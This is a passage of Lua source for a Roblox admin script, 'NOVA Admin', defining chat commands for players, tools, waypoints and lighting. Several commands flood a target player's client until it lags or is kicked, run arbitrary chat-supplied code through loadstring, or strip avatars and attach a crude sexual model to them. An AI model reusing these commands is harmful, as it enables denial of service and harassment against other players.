                    coroutine.resume(coroutine.create(function()
4048
                        local SB = Instance.new("SelectionBox",part)
4049
                        SB.Name = "NOVA Target Selection Box"
4050
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4051
                        SB.Adornee = part
4052
                        wait(3)
4053
                        SB:remove()
4054
                    end))
4055
                end
4056
            end
4057
        end
4058
    end
4059
)
4060
 
4061
AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
4062
    function(Msg,Speaker)
4063
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4064
            for i=1,#NOVA.Targeted do
4065
                if NOVA.Targeted[i] == v then
4066
                    table.remove(NOVA.Targeted,i)
4067
                end
4068
            end
4069
        end
4070
    end
4071
)
4072
 
4073
AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
4074
    function(Msg,Speaker)
4075
        CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
4076
    end
4077
)
4078
 
4079
AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
4080
    function(Msg,Speaker)
4081
        CreateLocalScript([[
4082
       
4083
         LocalPlayer = game:GetService("Players").LocalPlayer
4084
script.Parent = LocalPlayer
4085
            NOVA = {
4086
                Bet = "/";
4087
                Services = {
4088
                    Workspace = game:GetService("Workspace");
4089
                    Lighting = game:GetService("Lighting");
4090
                    Debris = game:GetService("Debris");
4091
                    Players = game:GetService("Players");
4092
                    Teams = game:GetService("Teams");
4093
                    SoundService = game:GetService("SoundService");
4094
                    StarterGui = game:GetService("StarterGui");
4095
                    StarterPack = game:GetService("StarterPack");
4096
                };
4097
               
4098
                Camera = workspace.CurrentCamera;
4099
                LocalCharacter = Instance.new("Model");
4100
                LocalHead = Instance.new("Part");
4101
                LocalFire = Instance.new("Fire");
4102
            }
4103
            script.Name = NOVA.LocalPlayer.Name
4104
            script.Parent = nil
4105
            repeat wait() until NOVA.LocalPlayer.Parent == nil
4106
            game.Players.LocalPlayer.Chatted:connect(function(Msg)
4107
            if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
4108
                    game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
4109
                   
4110
                    if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
4111
                        game:GetService'TeleportService':Teleport(game.PlaceId)
4112
                    end
4113
                    if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
4114
                        pcall(function()
4115
                            newScript(Msg:sub(4),workspace)
4116
                        end)
4117
                    end
4118
                    if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
4119
                        coroutine.resume(coroutine.create(function()
4120
                            pcall(function()
4121
                                loadstring(Msg:sub(8))()
4122
                            end)
4123
                        end))
4124
                    end
4125
                    if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
4126
                        LocalPlayer.Character = workspace
4127
                    end
4128
                end
4129
            end)
4130
           
4131
            NOVA.LocalPlayer.Character = nil
4132
            NOVA.LocalHead.FormFactor = "Custom"
4133
            NOVA.LocalHead.Size = Vector3.new(3,3,3)
4134
            NOVA.LocalHead.Reflectance = 1e+999
4135
            NOVA.LocalHead.Shape = "Ball"
4136
            NOVA.LocalHead.Anchored = true
4137
            NOVA.LocalHead.CanCollide = false
4138
            NOVA.LocalHead.Transparency = 0
4139
            NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
4140
           
4141
            NOVA.LocalFire.Color = Color3.new(0,0,0)
4142
            NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
4143
            NOVA.LocalFire.Heat = 12
4144
            NOVA.LocalFire.Size = 7    
4145
 
4146
            while wait() do
4147
                pcall(function()
4148
                    NOVA.LocalCharacter.Parent=workspace
4149
                    NOVA.LocalHead.Parent = NOVA.LocalCharacter
4150
                    NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
4151
                    NOVA.LocalFire.Parent = NOVA.LocalHead
4152
                end)
4153
            end
4154
        ]],Speaker.Backpack)
4155
    end
4156
)
4157
 
4158
 
4159
AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
4160
    function(Msg,Speaker)
4161
        CreateScript(Msg,workspace)
4162
    end
4163
)
4164
 
4165
AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
4166
    function(Msg,Speaker)
4167
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4168
            CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4169
        end
4170
    end
4171
)
4172
 
4173
AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
4174
    function(Msg,Speaker)
4175
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4176
            CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4177
        end
4178
    end
4179
)
4180
 
4181
AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
4182
    function(Msg,Speaker)
4183
        CreateLocalScript(Msg,Speaker.Backpack)
4184
    end
4185
)
4186
 
4187
AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
4188
    function(Msg,Speaker)
4189
        for _,v in pairs(GetRecursiveChildren(workspace)) do
4190
            pcall(function()
4191
                v.Transparency = 7.3015691270939e-002
4192
            end)
4193
        end
4194
    end
4195
)
4196
 
4197
AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
4198
    function(Msg,Speaker)
4199
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4200
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4201
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4202
            else
4203
                pcall(function()
4204
                    CreateLocalScript([==[
4205
                        LocalPlayer = game:GetService("Players").LocalPlayer
4206
                        Camera = workspace.CurrentCamera
4207
                        while wait() do
4208
                            for i=1,10 do
4209
                                Part = Instance.new("Seat",Camera)
4210
                                Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
4211
                                Part.Shape = "Ball"
4212
                                Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
4213
                                Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
4214
                            end
4215
                        end
4216
                    ]==],v.Backpack)
4217
                end)
4218
            end
4219
        end
4220
    end
4221
)
4222
 
4223
AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
4224
    function(Msg,Speaker)
4225
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4226
            CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
4227
        end
4228
    end
4229
)
4230
 
4231
AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
4232
    function(Msg,Speaker)
4233
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4234
            for _,GUI in pairs(v.PlayerGui:children()) do
4235
                GUI:Clone().Parent = Speaker.PlayerGui
4236
            end
4237
        end
4238
    end
4239
)
4240
 
4241
AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
4242
    function(Msg,Speaker)
4243
        for _,v in pairs(NOVA.Targeted) do
4244
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4245
                if part:IsA("Part") then
4246
                    coroutine.resume(coroutine.create(function()
4247
                        local SB = Instance.new("SelectionBox",part)
4248
                        SB.Name = "NOVA Target Selection Box"
4249
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4250
                        SB.Adornee = part
4251
                        wait(3)
4252
                        SB:remove()
4253
                    end))
4254
                end
4255
            end
4256
        end
4257
    end
4258
)
4259
 
4260
AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
4261
    function(Msg,Speaker)
4262
        if Msg:sub(1,4) == "add" .. NOVA.Bet then
4263
            Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
4264
        elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
4265
            Speaker:SaveString("NoteToSelf",Msg:sub(5))
4266
        elseif Msg == "see" then
4267
            Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
4268
        end
4269
    end
4270
)
4271
 
4272
AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
4273
    function(Msg,Speaker)
4274
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4275
            local Char = v.Character
4276
            local Smite = Instance.new("Part",workspace)
4277
            Smite.FormFactor = "Custom"
4278
            Smite.TopSurface = "Smooth"
4279
            Smite.BottomSurface = "Smooth"
4280
            Smite.Anchored = true
4281
            Smite.Locked = true
4282
            Smite.Size = Vector3.new(25,3,25)
4283
            Smite.BrickColor = BrickColor.new("New Yeller")
4284
            Smite.Transparency = 1
4285
            Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
4286
            for i=1,0,-0.05 do
4287
                wait()
4288
                Smite.Transparency = i
4289
            end
4290
            coroutine.resume(coroutine.create(function()
4291
                for i=0,1,0.05 do
4292
                    wait()
4293
                    Smite.Transparency = i
4294
                end
4295
                Smite:remove()
4296
            end))
4297
            wait()
4298
            local Expl = Instance.new("Explosion",workspace)
4299
            Expl.Position = Smite.Position
4300
            Expl.BlastPressure = 1000000000
4301
           
4302
            for _,Part in pairs(GetRecursiveChildren(Char)) do
4303
                if Part:IsA("BasePart") then
4304
                    coroutine.resume(coroutine.create(function()
4305
                        for i=1,10 do
4306
                            local Sparkles = Instance.new("Sparkles",Part)
4307
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4308
                            local Fire = Instance.new("Fire",Part)
4309
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4310
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4311
                        end
4312
                        Part:BreakJoints()
4313
                        local BP = Instance.new("BodyPosition",Part)
4314
                        BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
4315
                        BP.P = 1000
4316
                        BP.position = Part.Position + Vector3.new(
4317
                            math.random(-100,100),
4318
                            100,
4319
                            math.random(-100,100))
4320
                        wait(3)
4321
                        local Expl = Instance.new("Explosion",workspace)
4322
                        Expl.Position = Part.Position
4323
                        Expl.BlastPressure = 1000000000
4324
                    end))
4325
                end
4326
            end
4327
        end
4328
    end
4329
)
4330
AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
4331
    function(Msg,Speaker)
4332
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4333
            pcall(function()
4334
        v.Character.Pants:Remove()
4335
        v.Character.Shirt:Remove()
4336
            end)
4337
        end
4338
    end
4339
)
4340
 
4341
AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
4342
    function(Msg,Speaker)
4343
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4344
               
4345
                        v.Character.Humanoid.Changed:connect(function(val)
4346
                                if val == "Health" then
4347
                                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
4348
                                end
4349
 
4350
                       
4351
             end)
4352
        end
4353
    end
4354
)
4355
 
4356
 
4357
AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
4358
    function(Msg,Speaker)
4359
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4360
       
4361
        RemoveTablets(v)
4362
 
4363
        end
4364
    end
4365
)
4366
AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
4367
    function(Msg,Speaker)
4368
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4369
        pcall(function()
4370
        person=v.Name
4371
        local plr = Game.Players[person]
4372
        color = "Pastel brown"
4373
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4374
                        end)
4375
                        end
4376
                end
4377
)
4378
AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
4379
    function(Msg,Speaker)
4380
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4381
        pcall(function()
4382
        person=v.Name
4383
        local plr = Game.Players[person]
4384
        color = "Pastel brown"
4385
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4386
        D = Instance.new("Model",plr.Character)
4387
        D.Name = "Nice thing"
4388
        bg = Instance.new("BodyGyro",plr.Character.Torso)
4389
        d = Instance.new("Part")
4390
        d.TopSurface = 0
4391
        d.BottomSurface = 0
4392
        d.Name = "Main"
4393
        d.Parent = plr.Character["Nice thing"]
4394
        d.formFactor = 3
4395
        d.Size = Vector3.new(0.6,2.5,0.6)
4396
        d.BrickColor = BrickColor.new(color)
4397
        d.Position = plr.Character.Head.Position
4398
        d.CanCollide = false
4399
        local cy = Instance.new("CylinderMesh")
4400
        cy.Parent = d
4401
        w = Instance.new("Weld")
4402
        w.Parent = plr.Character.Head
4403
        w.Part0 = d
4404
        w.Part1 = plr.Character.Head
4405
        w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
4406
        local c = Instance.new("Part")
4407
                c.Name = "Mush"
4408
        c.BottomSurface = 0
4409
        c.TopSurface = 0
4410
        c.FormFactor = 3
4411
        c.Size = Vector3.new(0.6,0.6,0.6)
4412
        c.CFrame = CFrame.new(d.Position)
4413
        c.BrickColor = BrickColor.new("Pink")
4414
        c.CanCollide = false
4415
        c.Parent = plr.Character["Nice thing"]
4416
        local msm = Instance.new("SpecialMesh")
4417
        msm.Parent = c
4418
        msm.MeshType = "Sphere"
4419
        local cw = Instance.new("Weld")
4420
        cw.Parent = c
4421
        cw.Part0 = d
4422
        cw.Part1 = c
4423
        cw.C0 = CFrame.new(0,1.3,0)
4424
        local ball1 = Instance.new("Part")
4425
        ball1.Parent = plr.Character["Nice thing"]
4426
        ball1.Name = "Left Ball"
4427
        ball1.BottomSurface = 0
4428
        ball1.TopSurface = 0
4429
        ball1.CanCollide = false
4430
        ball1.formFactor = 3
4431
        ball1.Size = Vector3.new(1,1,1)
4432
        ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
4433
        ball1.BrickColor = BrickColor.new(color)
4434
        local bsm = Instance.new("SpecialMesh")
4435
        bsm.Parent = ball1
4436
        bsm.MeshType = "Sphere"
4437
        local b1w = Instance.new("Weld")
4438
        b1w.Parent = ball1
4439
        b1w.Part0 = plr.Character["Left Leg"]
4440
        b1w.Part1 = ball1
4441
        b1w.C0 = CFrame.new(0,0.5,-.5)
4442
        local ball2 = Instance.new("Part")
4443
        ball2.Parent = plr.Character["Nice thing"]
4444
        ball2.Name = "Right Ball"
4445
        ball2.BottomSurface = 0
4446
        ball2.CanCollide = false
4447
        ball2.TopSurface = 0
4448
        ball2.formFactor = 3
4449
        ball2.Size = Vector3.new(1,1,1)
4450
        ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
4451
        ball2.BrickColor = BrickColor.new(color)
4452
        local b2sm = Instance.new("SpecialMesh")
4453
        b2sm.Parent = ball2
4454
        b2sm.MeshType = "Sphere"
4455
        local b2w = Instance.new("Weld")
4456
        b2w.Parent = ball2
4457
        b2w.Part0 = plr.Character["Right Leg"]
4458
        b2w.Part1 = ball2
4459
        b2w.C0 = CFrame.new(0,0.5,-.5)
4460
            end)
4461
        end
4462
    end
4463
)
4464
AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
4465
    function(Msg,Speaker)      
4466
        NOVA.Bet = Msg
4467
    end
4468
)
4469
AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
4470
    function(Msg,Speaker)
4471
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4472
           
4473
            coroutine.resume(coroutine.create(function()
4474
                                while wait() do
4475
            for i = 1, 100 do
4476
            if v:findFirstChild("PlayerGui") ~= nil then
4477
            local mes = Instance.new("Message", v.PlayerGui)
4478
            mes.Text = "Crashing"
4479
            local ex = Instance.new("Explosion", v.PlayerGui)
4480
            ex.BlastRadius = math.huge
4481
            local hint = Instance.new("Hint", v.PlayerGui)
4482
            hint.Text = "---------------------------------------------------------------------------"
4483
            local s = Instance.new("ScreenGui", v.PlayerGui)
4484
            local txt = Instance.new("TextBox", s)
4485
            txt.Size = UDim2.new(1, 0, 1, 0)
4486
            txt.Text = "Your Being Lagged"
4487
            txt.FontSize = "Size48"
4488
            end
4489
            end
4490
                                end
4491
            end))
4492
        end
4493
    end
4494
)
4495
AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
4496
    function(Msg,Speaker)
4497
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4498
            pcall(function()
4499
            v.Chatted:connect(function(Msg)
4500
            local m = Instance.new("Explosion",v.Character.Head)
4501
            m.Position = v.Character.Head.Position
4502
            end)
4503
            end)
4504
        end
4505
    end
4506
)
4507
AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
4508
    function(Msg,Speaker)
4509
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4510
            pcall(function()
4511
                for _,Part in pairs(GetRecursiveChildren(v.Character)) do
4512
                    if Part:IsA("BasePart") then
4513
                        for i=1,10 do
4514
                            local Sparkles = Instance.new("Sparkles",Part)
4515
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4516
                            local Fire = Instance.new("Fire",Part)
4517
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4518
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4519
                        end
4520
                    end
4521
                end
4522
            end)
4523
        end
4524
    end
4525
)
4526
 
4527
AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
4528
    function(Msg,Speaker)
4529
        if NOVA.ShowChat == true then
4530
            NOVA.ShowChat = false
4531
        elseif NOVA.ShowChat == false then
4532
            NOVA.ShowChat = true
4533
        end
4534
    end
4535
)
4536
 
4537
 
4538
AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
4539
    function(Msg,Speaker)
4540
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4541
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4542
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4543
            else
4544
                pcall(function()
4545
                    CreateLocalScript([[
4546
                        script.Parent = workspace.CurrentCamera
4547
                        while wait() do
4548
                            coroutine.resume(coroutine.create(function()
4549
                                for i=1,math.huge do
4550
                                    wait()
4551
                                    for i=1,10 do
4552
                                        NS = script:Clone()
4553
                                        NS.Disabled = true
4554
                                        NS.Parent = game:GetService("Players").LocalPlayer.Backpack
4555
                                        NS.Disabled = false
4556
                                    end
4557
                                    for i=1,10 do
4558
                                        game:GetService("Players").LocalPlayer.Character.Archivable = true
4559
                                        local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
4560
                                        Clone.Parent = workspace.CurrentCamera
4561
                                    end
4562
                                end
4563
                            end))
4564
                        end]],
4565
                    v.Backpack)
4566
                end)
4567
            end
4568
        end
4569
    end
4570
)
4571
 
4572
AddCommand("Building","building",1,"Generates a building.","No Arguments",
4573
    function(Msg,Speaker)
4574
        Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
4575
    end
4576
)
4577
 
4578
AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
4579
    function(Msg,Speaker)
4580
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4581
            pcall(function()
4582
                v.Character.Humanoid.PlatformStand = true
4583
            end)
4584
        end
4585
    end
4586
)
4587
 
4588
AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
4589
    function(Msg,Speaker)
4590
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4591
            pcall(function()
4592
                v.Character.Humanoid.PlatformStand = false
4593
            end)
4594
        end
4595
    end
4596
)
4597
 
4598
AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
4599
    function(Msg,Speaker)
4600
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4601
            pcall(function()
4602
                for _,Tool in pairs(v.Backpack:GetChildren()) do
4603
                    Tool:Clone().Parent = Speaker.Backpack
4604
                end
4605
            end)
4606
        end
4607
    end
4608
)
4609
 
4610
AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
4611
    function(Msg,Speaker)
4612
        local Give = {}
4613
        for _,v in pairs(NOVA.Services.Lighting:children()) do
4614
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4615
                function()
4616
                    table.insert(Give,v:Clone())
4617
                end
4618
            )
4619
        end
4620
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4621
            function()
4622
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4623
                    for _,Tool in pairs(Give) do
4624
                        Tool:Clone().Parent = v.Backpack
4625
                    end
4626
                end
4627
                RemoveTablets(Speaker)
4628
            end
4629
        )
4630
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4631
    end
4632
)
4633
 
4634
AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
4635
    function(Msg,Speaker)
4636
        pcall(function()
4637
            for _,Tool in pairs(Speaker.Backpack:children()) do
4638
                Tool:Clone().Parent = NOVA.Services.Lighting
4639
            end
4640
        end)
4641
    end
4642
)
4643
 
4644
AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
4645
    function(Msg,Speaker)
4646
        Split = GetSplit(Msg)
4647
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4648
            if v:FindFirstChild("PlayerGui") ~= nil then
4649
                makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
4650
            end
4651
        end
4652
    end
4653
)
4654
 
4655
AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
4656
    function(Msg,Speaker)
4657
        local Data = GetRankedTable(Speaker)
4658
        Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
4659
        Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
4660
        Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
4661
            function()
4662
                RemoveTablets(Speaker)
4663
                OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
4664
            end
4665
        )
4666
        Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
4667
        Output("How to use commands.",Data.Color,Speaker,nil,
4668
            function()
4669
                RemoveTablets(Speaker)
4670
                Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
4671
                Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
4672
                Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
4673
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
4674
            end
4675
        )
4676
        Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
4677
    end
4678
)
4679
 
4680
AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
4681
    function(Msg,Speaker)
4682
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
4683
            if v:IsA("Script") then
4684
                v.Disabled = true
4685
                v.Parent = NOVA.Services.Debris
4686
                v.Disabled = true
4687
                v:Destroy()
4688
                v.Parent = NOVA.Services.Debris
4689
                v.Disabled = true
4690
                v:Destroy()
4691
            end
4692
        end
4693
    end
4694
)
4695
 
4696
 
4697
AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
4698
    function(Msg,Speaker)
4699
        pcall(function()
4700
            CreateLocalScript([[
4701
                game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
4702
                ]],
4703
                Speaker.Backpack
4704
            )
4705
        end)
4706
    end
4707
)
4708
 
4709
AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
4710
    function(Msg,Speaker)
4711
        pcall(function()
4712
            NOVA.Sounds.Sound.Pitch = tonumber(Msg)
4713
        end)
4714
    end
4715
)
4716
AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
4717
    function(Msg,Speaker)
4718
        pcall(function()
4719
            NOVA.Sounds.Sound.Looped = Msg
4720
        end)
4721
    end
4722
)
4723
AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
4724
    function(Msg,Speaker)
4725
        Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
4726
    end
4727
)
4728
AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
4729
    function(Msg,Speaker)
4730
        local Give = {}
4731
        for _,v in pairs(NOVA.Plugins) do
4732
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4733
                function()
4734
                    table.insert(Give,v:Clone())
4735
                end
4736
            )
4737
        end
4738
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4739
            function()
4740
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4741
                    for _,Tool in pairs(Give) do
4742
                        New = Tool:Clone()
4743
                        New.Parent = v.Backpack
4744
                        pcall(function()
4745
                            New.Disabled = false
4746
                        end)
4747
                    end
4748
                end
4749
                RemoveTablets(Speaker)
4750
            end
4751
        )
4752
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4753
    end
4754
)
4755
AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
4756
    function(Msg,Speaker)
4757
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4758
            pcall(function()
4759
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4760
                    part.Locked = true
4761
                end
4762
            end)
4763
        end
4764
    end
4765
)
4766
AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
4767
    function(Msg,Speaker)
4768
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4769
            pcall(function()
4770
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4771
                    part.Locked = false
4772
                end
4773
            end)
4774
        end
4775
    end
4776
)
4777
AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
4778
    function(Msg,Speaker)
4779
        Split = GetSplit(Msg)
4780
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4781
            pcall(function()
4782
                CreateLocalScript(Msg:sub(Split+1),v.Backpack)
4783
            end)
4784
        end
4785
    end
4786
)
4787
AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
4788
    function(Msg,Speaker)
4789
        NOVA.Services.Lighting.Brightness = tonumber(Msg)
4790
    end
4791
)
4792
AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
4793
    function(Msg,Speaker)
4794
        pcall(function()
4795
            Rtn = CFrame.new(
4796
                Speaker.Character.Torso.CFrame.x,
4797
                Speaker.Character.Torso.CFrame.y,
4798
                Speaker.Character.Torso.CFrame.z
4799
            )
4800
            table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
4801
        end)
4802
    end
4803
)
4804
AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
4805
    function(Msg,Speaker)
4806
        for _,v in pairs(NOVA.Waypoints) do
4807
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4808
                pcall(function()
4809
                    RemoveTablets(Speaker)
4810
                    Speaker.Character.Torso.CFrame = v.CFrame
4811
                end)
4812
            end)
4813
        end
4814
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4815
    end
4816
)
4817
AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
4818
    function(Msg,Speaker)
4819
        Rtn = {}
4820
        for num,v in pairs(NOVA.Waypoints) do
4821
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4822
                table.insert(Rtn,num)
4823
            end)
4824
        end
4825
        Output("Done",NOVA.Colors.Green,Speaker,nil,function()
4826
            RemoveTablets(Speaker)
4827
            for _,v in pairs(Rtn) do
4828
                table.remove(NOVA.Waypoints,v)
4829
            end
4830
        end)
4831
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4832
    end
4833
)
4834
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
4835
    function(Msg,Speaker)
4836
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4837
            pcall(function()
4838
                for i=0,3 do
4839
                    Instance.new("HopperBin",v.Backpack).BinType = i
4840
                end
4841
            end)
4842
        end
4843
    end
4844
)
4845
AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
4846
    function(Msg,Speaker)
4847
        local MainColor = Color3.new(0,0,0)
4848
        local SeccondaryColor = Color3.new(0.69,0.13,0.13)
4849
        local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
4850
        local MainCFrame = Speaker.Character.Torso.CFrame
4851
            * CFrame.new(0,-4,0)
4852
            + Speaker.Character.Torso.CFrame.lookVector*3
4853
